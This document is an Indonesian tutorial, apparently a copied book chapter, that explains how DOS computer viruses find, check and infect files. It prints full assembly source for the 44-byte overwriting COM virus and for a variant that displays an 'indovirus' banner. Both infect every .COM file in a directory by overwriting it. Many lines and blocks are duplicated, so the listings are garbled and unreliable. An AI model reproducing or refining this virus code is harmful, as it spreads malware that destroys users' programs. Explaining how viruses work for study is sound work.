Cara Kerja Virus Komputer
Start : mov dx,offset File_to_infect ; cari seluruh file Mov ah,4Eh
Mov cx, 3 ; Attribut File ; cari host file
start : mov ah,04eh ; Cari file dengan kategori file COM
xor cx,cx ; cx 0, = hanya file dengan atrribut Normal
lea dx,com_mask ; Nama file COM masukan ke register DX
int 21h ; Dos Intrupt
open_file : mov ax,3d02h ; Buka file dengan mode Baca/Tulis
mov dx,9eh
Int 21h
Infect : mov cx,len ; cx diisi panjang badan virus
lea dx,start ; Masukan header Virus “V1″ pada DX
Mov ah,40h ; Tulis badan virus dalam file korban
Int 21h ; Dos Intrupt
Next : mov ah,3eh ; Tutup file korban
int 21h
mov ah,4fh ; Cari file korban lagi
int 21h
jnb open_file ; Apa sudah semua file Com ? kalau belum jmp ke Open_file
; Kalau sudah semua terinfeksi Exit
Cara
kerja Virus Komputer pada umumnya adalah menyebarkan dirinya dengan
cara antara lain menularkan file-file executable atau file-file yang
bisa dijalankan langsung dari DOS Command line . Untuk memperjelas
mekanisme penyebaran di ilustrasikan pada gambar dibawah ini :
Gambar 4.1. Mekanisme Penularan
Sudah
jadi sifat virus jika dia dijalankan, maka ia menulari program aplikasi
yang lain, yang di maksud menulari adalah menyalin dirinya atau program
virus tersebut ke program aplikasi lainnya, jika dalm hal ini yang
tertular adalah program Aplikasi 1, maka apabila program aplikasi 1
tersebut dijalankan, maka program aplikasi 1 yang sudah serinfeksi virus
itu akan menularkan virus pada program aplikasi yang ke 2 , maka baik
program aplikasi 1 maupun 2, sudah merupakan program pemikul bagi virus
itu sendiri, yang akan menularkan seluruh program aplikasi yang ada.
Agar
bisa bertindak sebagai virus komputer, sebuah program harus mempunyai 5
buah kemampuan yang merupakan prinsip dari virus komputer. Kelima
kemampuan itu adalah :
- Kemampuan mendapatkan informasi
- Kemampuan memeriksa program
- Kemampuan menggandakan diri / menularkan
- Kemampuan mengadakan manipulasi
- Kemampuan menyembunyikan diri sendiri
Satu persatu kemampuan itu akan dijelaskan pada subbab selanjutnya
4. 1.1. Kemampuan mendapatkan Informasi
Pada
Virus Komputer kemampuan untuk mendapatkan informasi sangat penting,
terutama informasi mengenai file yang akan diinfeksi, Virus Komputer
biasa nya tidak menulari 1 program saja, tapi sekumpulan program,
contohnya File-file EXE, file-file COM, atau kedua-duanya, virus harus
mendapatkan informasi tentang file tersebut pada directory, hal-hal
mengenai informasi pada file yang perlu diketahui antara lain :
1. Apakah Extensi File tersebut ( COM,EXE, BAT)
2. Apa Atribut file ( Hidden, Readonly, Archive)
3. Besar File Yang akan Di infeksi
2. Apa Atribut file ( Hidden, Readonly, Archive)
3. Besar File Yang akan Di infeksi
Informasi
tersebut sangat bermanfaat bagi virus, dimana informasi mengenai
Extension file berguna untuk virus yang menyerang file-file tertentu
contohnya virus yang menyerang file EXE, virus tersebut harus mencari
file-file EXE yang akan ditulari.
Informasi
attribut berguna untuk memberikan pilihan pada virus apakah dapat
menyerang file dengan attribut Readonly, Hidden ataukan virus harus
mengeset attribut file-file tersebut menjadi Normal, sehingga virus
dapat menulari.
Informasi tentang ukuran file berguna untuk operasi matematis yang akan menghitung berapa besar file yang sudah tertular, dimana
Besar_file_terinfeksi = file_asli + Virus_size
Fungsi
ini terutama dipakai oleh virus Non OverWriting. Dibawah ini cuplikan
metode virus untuk mendapatkan informasi tentang File :
Start : mov dx,offset File_to_infect ; cari seluruh file Mov ah,4Eh
Mov cx, 3 ; Attribut File ; cari host file
———
int 21h ; Dos Intrupt
cmp ax,12h ; Ada file lagi
cmp ax,12h ; Ada file lagi
je exit ; kalau tidak ada exit
———
file_to_infect db “*.COM” ; File yang akan diinfeksi
ends start ; akhir kode Virus
ends start ; akhir kode Virus
Listing 4.1. Search First File
Dimana Dx menuju ke alamat yang berisi nama file yang akan di infeksi, sedangkan disini di gunakan DOS Interupt 21H dengan Service ah, 4EH yang berguna untuk mencari file pertama yang cocok dengan DX ( Find First Matching File),
dan mendapat kan informasi tentang file yang berada di dalam directory,
biasanya fungsi 4Eh ini selalu berpasangan dengan 4Fh, yaitu fungsi
untuk mencari file berikutnya yang cocok ( Find Next Maching File), sedangkan nilai CX,3 digunakan untuk mengecek attribut dari file, apakah Hidden, ReadOnly, virus dapt mengeset kembali attribut file menjadi normal, sehingga virus dapat menginfeksi file tersebut.
4. 1. 2. Kemampuan Untuk Memeriksa Program
Kemampuan
untuk memeriksa program sangat penting bagi Virus Komputer , karena
untuk mengetahui apakah file target sudah tertular atau belum, ini
sangat penting karena virus tidak akan menularkan dirinya berkali-kali
pada file yang sama, selain untuk mempercepat proses penularan juga
untuk menjaga agar file korban tidak rusak, karena apabila penularan
dilakukan berulang-ulang pada file yang sama, CRC dari file tersebut
akan kacau dan menyebabkan file yang tertular tidak jalan, biasaanya
file rusak tersebut akan mengeluarkan pesan Divide Over Flow, atau Error in Exe File,
selain itu file yang berkali-kali diifeksi akan bertambah besar, dan
akan mencurigakan pemakai komputer. Seperti digambarkan dalam flowchart
berikut ini :
Gambar 4.2. Memeriksa Program
Berikut ini contoh listing dari kemampuan untuk memeriksa file
Mov ah, 3fh ; Baca file
Mov cx, 3 ; baca 3 byte
Mov dx,3_byte ; simpan pada buffer
Add dx,si ; Nama file
Int 21h ; Dos intrupt
Cmp a,3 ; Cek 3 byte tadi
Jnz cari_lagi ; Jika sudah tertular exit
Jmp Infect ; kalau belum , infect_file
3_byte equ $ ;data 3 byte pertama dari file asli
;yang belum tertular
infect_file : ; bagian penginfeksian
———— ; rutin infeksi
int 20h ; Dos Exit function
nop ; No Operation
Listing 4.2 . Periksa File
Pada
rutin diatas dapat dilihat bagai mana Virus Komputer memeriksa file
korbannya, untuk memberikan identitas file mana yang sudah terinfeksi
maupun yang belum, karena dengan memeriksa file korban, umumnya 3 byte
pertama yang menandakan file tersebut sudah tertular / belum, 3 byte
pertama tersebut umumnya intruksi JMP : offset (Untuk file COM) , kode ‘MZ’ pada header file EXE dan PE untuk File Aplikasi Windows
Rutin
ini sangat penting untuk menghindari penularan berkali-kali pada file
korban, juga untuk menpercepat penularan. Rutin ini dipakai oleh 90 %
virus komputer untuk menularkan diri.
4. 1. 3. Kemampuan untuk menggandakan diri / Replicating
kemampuan
ini merupakan inti utama dari Virus Komputer , karena virus komputer
memang diprogram untuk menularkan, dan memperbanyak dirinya. Tugas dari
rutin replicating ini adalah menyebarkan virus keseluruh system yang
ditularinya, tugas dari rutin ini sangat berat karena rutin tersebut
harus mampu menyebarkan virus dengan cepat dan tidak diketahui oleh
pemakai komputer, selain itu rutin replicator harus dapat menjaga agar
file yang ditularinnya tidak rusak ( Rutin untuk Virus Appending /
NonOverwriting ), dan dapat berjalan sebagaimana mestinnya.
Cara
kerja rutin replicator pada file COM lebih sederhana dari file EXE,
karena struktur program EXE yang tidak terbatas besarnya yaitu ( sebesar
memory di komputer ), sedangkan file COM hanya dibatasi sampai 64 Kb (
Base memory ). Rutin replikator pada file COM akan menditeksi dan
mengcopy byte pertama dari file yang akan ditularinya, kedalam suatu
daerah di memory, rutin tersebut dipindahkan kedalam daerah lain dalam
file.
File bersih program Virus
Pada
diagram diatas P1 adalah bagian pertama dari file, P2 adalah bagian
kedua dari file korban. P1 harus sama besar dengan V1 (rutin virus) ,
rutin virus akan menyimpan P1 dan mengcopynya pada bagian akhir dari
file.
Setelah
itu virus akan mengcopykan bagian pertama dari dirinya (V1) ke bagian
awal file korban. Dimana V1 berisi instruksi JMP:V2, yaitu instruksi
untuk memanggil badan Virus yang ada di belakang file korban.
Kemudian
virus akan mengcopykan bagian kedunya (V2) yang merupakan badan virus
ke akhir file yang ditulari, V2 ini biasanya berisi rutin-rutin lain
seperti rutin untuk pengaman, rutin untuk melakukan aksi tertentu dan
lain-lain. Rutin tersebut dapat dilihat dibawah ini :
Dalam
program dapat diambil contoh 44-Virus.Com , yang merupakan virus
sepanjang 44 byte, dengan cara kerja Overwriting file Com yang ada dalam
suatu directory sepanjang badan Virus itu sendiri yaitu 44 Byte, virus
ini masih sangat sederhana dan belum mempunyai rutin-rutin pengaman,
maupun kemampuan untuk memeriksa program, ataupun rutin untuk aksi-aksi
tertentu , dalam contoh dibawah ini virus hanya mempunyai kemampuan
untuk menulari file Com.
Namun demikian dapat kita lihat bagaimana virus akan berkembang dengan cara menggandakan dirinya dalam program Com.
Berikut ini listing dari 44-Virus.Asm :
virus segment
org 100h ; file COM
assume cs:virus
len equ offset last-100h ;Panjang virus = Akhir program – awal programorg 100h ; file COM
assume cs:virus
start : mov ah,04eh ; Cari file dengan kategori file COM
xor cx,cx ; cx 0, = hanya file dengan atrribut Normal
lea dx,com_mask ; Nama file COM masukan ke register DX
int 21h ; Dos Intrupt
open_file : mov ax,3d02h ; Buka file dengan mode Baca/Tulis
mov dx,9eh
Int 21h
Infect : mov cx,len ; cx diisi panjang badan virus
lea dx,start ; Masukan header Virus “V1″ pada DX
Mov ah,40h ; Tulis badan virus dalam file korban
Int 21h ; Dos Intrupt
Next : mov ah,3eh ; Tutup file korban
int 21h
mov ah,4fh ; Cari file korban lagi
int 21h
jnb open_file ; Apa sudah semua file Com ? kalau belum jmp ke Open_file
; Kalau sudah semua terinfeksi Exit
com_mask: db “*.COM”,0 ; File dengan ekstensi Com
last : db 090h ; Akhir badan virus “V2″
virus ends
last : db 090h ; Akhir badan virus “V2″
virus ends
end start
Listing 4.3. Replicating / Penggandaan
4. 1. 4. Kemampuan Mengadakan Manipulasi
Kemampuan
untuk mengadakan manipulasi sangat penting dilakukan oleh virus, karena
bagian ini sebetulnya yang membuat virus komputer menarik, dan
mempunyai seni dalam pembuatannya. Bagian manipulasi atau rutin
manipulasi ini banyak macamnya, dan fungsinya, suatu virus dapat
mempunyai salah satu diantara rutin-rutin manipulasi ini maupun gabungan
antara rutin-rutin manipulasi tersebut. yang pasti, makin banyak rutin
manipulasi yang dipakai oleh virus, maka akan makin besar ukuran virus
yang dibuat. Diantara rutin-rutin manipulasi yang ada, yang sering
digunakan adalah :
- Menampilkan tulisan / kata-kata / gambar
- Membunyikan port speaker
- Time bomb / logic Bomb
4.1.4.1. Menampilkan Tulisan / gambar
Rutin
ini yang paling banyak dipakai oleh pembuat Virus Komputer , karena
rutin ini selain untuk kepopularitas virus maupun pembuatnya, juga akan
membuat virusnya mudah dikenal oleh para pemakai komputer, selain itu
rutin ini membutuhkan suatu kreatifitas tinggi dan jiwa seni dari
pembuatnya yang akan membuat virus ini akan menarik. Listing program
dibawah ini akan memberikan contoh pembuatan rutin ini.
virus segment
org 100h
assume cs:virus
org 100h
assume cs:virus
len equ offset last-100h ; Panjang virus = Akhir program – awal program
start : jmp mulai
start : jmp mulai
msg db ‘ Modification of 44 Virus ‘,13,10
db ‘ © 2000,iwing[indovirus] ’,13,10
db ‘ – For Educational Only -$’,13,10
db ‘ © 2000,iwing[indovirus] ’,13,10
db ‘ – For Educational Only -$’,13,10
mulai : mov ah,09 ; Dos service 09h = Cetak String
lea dx,msg ; dx berisi pesan yang akan dicetak
int 21h ; Dos intrupt
go : mov ah,04eh ; Cari file dengan kategori file COM
xor cx,cx ; cx 0, = hanya file dengan atrribut Normal
lea dx,com_mask ; Nama file COM masukan ke register DX
int 21h ; Dos Intrupt
open_file : mov ax,3d02h ; Buka file dengan mode Baca/Tulis
mov dx,9eh
Int 21h
infect : mov cx,len ; cx diisi panjang badan virus
lea dx,start ; Masukan header Virus “V1″ pada DX
mov ah,40h ; Tulis badan virus dalam file korban
Int 21h ; Dos Intrupt
Next : mov ah,3eh ; Tutup file korban
int 21h
mov ah,4fh ; Cari file korban lagi
int 21h
jnb open_file ; Apa sudah semua file Com ?,kalau belum jmp ke Open_file
; Kalau sudah semua terinfeksi Exit
lea dx,msg ; dx berisi pesan yang akan dicetak
int 21h ; Dos intrupt
go : mov ah,04eh ; Cari file dengan kategori file COM
xor cx,cx ; cx 0, = hanya file dengan atrribut Normal
lea dx,com_mask ; Nama file COM masukan ke register DX
int 21h ; Dos Intrupt
open_file : mov ax,3d02h ; Buka file dengan mode Baca/Tulis
mov dx,9eh
Int 21h
infect : mov cx,len ; cx diisi panjang badan virus
lea dx,start ; Masukan header Virus “V1″ pada DX
mov ah,40h ; Tulis badan virus dalam file korban
Int 21h ; Dos Intrupt
Next : mov ah,3eh ; Tutup file korban
int 21h
mov ah,4fh ; Cari file korban lagi
int 21h
jnb open_file ; Apa sudah semua file Com ?,kalau belum jmp ke Open_file
; Kalau sudah semua terinfeksi Exit
com_mask: db “*.COM”,0 ; File dengan ekstensi Com
last : int 20h ; Akhir badan virus “V2″
last : int 20h ; Akhir badan virus “V2″
virus ends
end start
Listing. 4.4. Rutin Cetak String
Pada listing program virus diatas dapat dilihat, modifikasi dari virus 44 byte
Dengan tambahan rutin untuk menampilkan string :
Dengan tambahan rutin untuk menampilkan string :
Modification of 44 Virus
© 2000,iwing[indovirus]
-For Educational Only –
© 2000,iwing[indovirus]
-For Educational Only –
setiap kali penularan. Disini dapat dilihat rutin yang menampilkan pesan tadi yaitu
mulai : mov ah,09 ; Dos service 09h = Cetak String
lea dx,msg ; dx berisi pesan yang akan dicetak
int 21h ; Dos intrupt
lea dx,msg ; dx berisi pesan yang akan dicetak
int 21h ; Dos intrupt